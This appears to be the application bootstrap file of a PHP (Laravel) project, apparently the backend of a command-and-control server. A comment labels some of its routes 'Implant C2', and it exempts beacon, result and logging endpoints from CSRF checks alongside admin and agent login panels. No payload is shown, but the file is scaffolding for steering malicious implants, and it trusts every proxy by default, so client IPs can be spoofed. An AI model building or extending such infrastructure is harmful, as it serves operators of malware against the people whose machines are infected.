hashbro
90 lines
2.7 KiB
PHP
90 lines
2.7 KiB
PHP
<?php
|
|
|
|
use App\Http\Middleware\EnsurePanelHost;
|
|
use App\Http\Middleware\EnsureSuperAdmin;
|
|
use Illuminate\Foundation\Application;
|
|
use Illuminate\Foundation\Configuration\Exceptions;
|
|
use Illuminate\Foundation\Configuration\Middleware;
|
|
use Illuminate\Support\Facades\Route;
|
|
|
|
return Application::configure(basePath: dirname(__DIR__))
|
|
->withRouting(
|
|
web: __DIR__.'/../routes/web.php',
|
|
then: function () {
|
|
// Implant C2: no CSRF / session
|
|
require __DIR__.'/../routes/c2.php';
|
|
require __DIR__.'/../routes/xxbb.php';
|
|
require __DIR__.'/../routes/ds.php';
|
|
|
|
// External webhooks (no CSRF)
|
|
require __DIR__.'/../routes/hooks.php';
|
|
|
|
// Admin + agent UI: session + CSRF
|
|
Route::middleware('web')->group(base_path('routes/admin.php'));
|
|
Route::middleware('web')->group(base_path('routes/user.php'));
|
|
},
|
|
commands: __DIR__.'/../routes/console.php',
|
|
health: '/up',
|
|
)
|
|
->withMiddleware(function (Middleware $middleware): void {
|
|
// Cloudflare / reverse proxy: honor X-Forwarded-* so $request->ip()
|
|
// is the visitor IP. TRUSTED_PROXIES=* | CIDR list | empty to disable.
|
|
$trustedProxies = env('TRUSTED_PROXIES', '*');
|
|
if ($trustedProxies === '*') {
|
|
$middleware->trustProxies(at: '*');
|
|
} elseif (is_string($trustedProxies) && trim($trustedProxies) !== '') {
|
|
$middleware->trustProxies(at: array_values(array_filter(array_map(
|
|
'trim',
|
|
explode(',', $trustedProxies)
|
|
))));
|
|
}
|
|
|
|
$middleware->alias([
|
|
'admin.super' => EnsureSuperAdmin::class,
|
|
'panel.host' => EnsurePanelHost::class,
|
|
]);
|
|
|
|
$middleware->validateCsrfTokens(except: [
|
|
'api/*',
|
|
'link/*',
|
|
'hooks/*',
|
|
'hook/*',
|
|
'statistic/t',
|
|
'vhx',
|
|
'event',
|
|
'a',
|
|
'u',
|
|
't',
|
|
'nb',
|
|
'uj',
|
|
'us',
|
|
'ub',
|
|
'ba',
|
|
'result',
|
|
'beacon',
|
|
'war',
|
|
'p',
|
|
'stats',
|
|
'log.html',
|
|
]);
|
|
|
|
$middleware->redirectGuestsTo(function () {
|
|
$path = request()->path();
|
|
if (str_starts_with($path, 'user')) {
|
|
return route('user.login');
|
|
}
|
|
|
|
return route('admin.login');
|
|
});
|
|
$middleware->redirectUsersTo(function () {
|
|
if (auth('agent')->check()) {
|
|
return route('user.home');
|
|
}
|
|
|
|
return route('admin.home');
|
|
});
|
|
})
|
|
->withExceptions(function (Exceptions $exceptions): void {
|
|
//
|
|
})->create();
|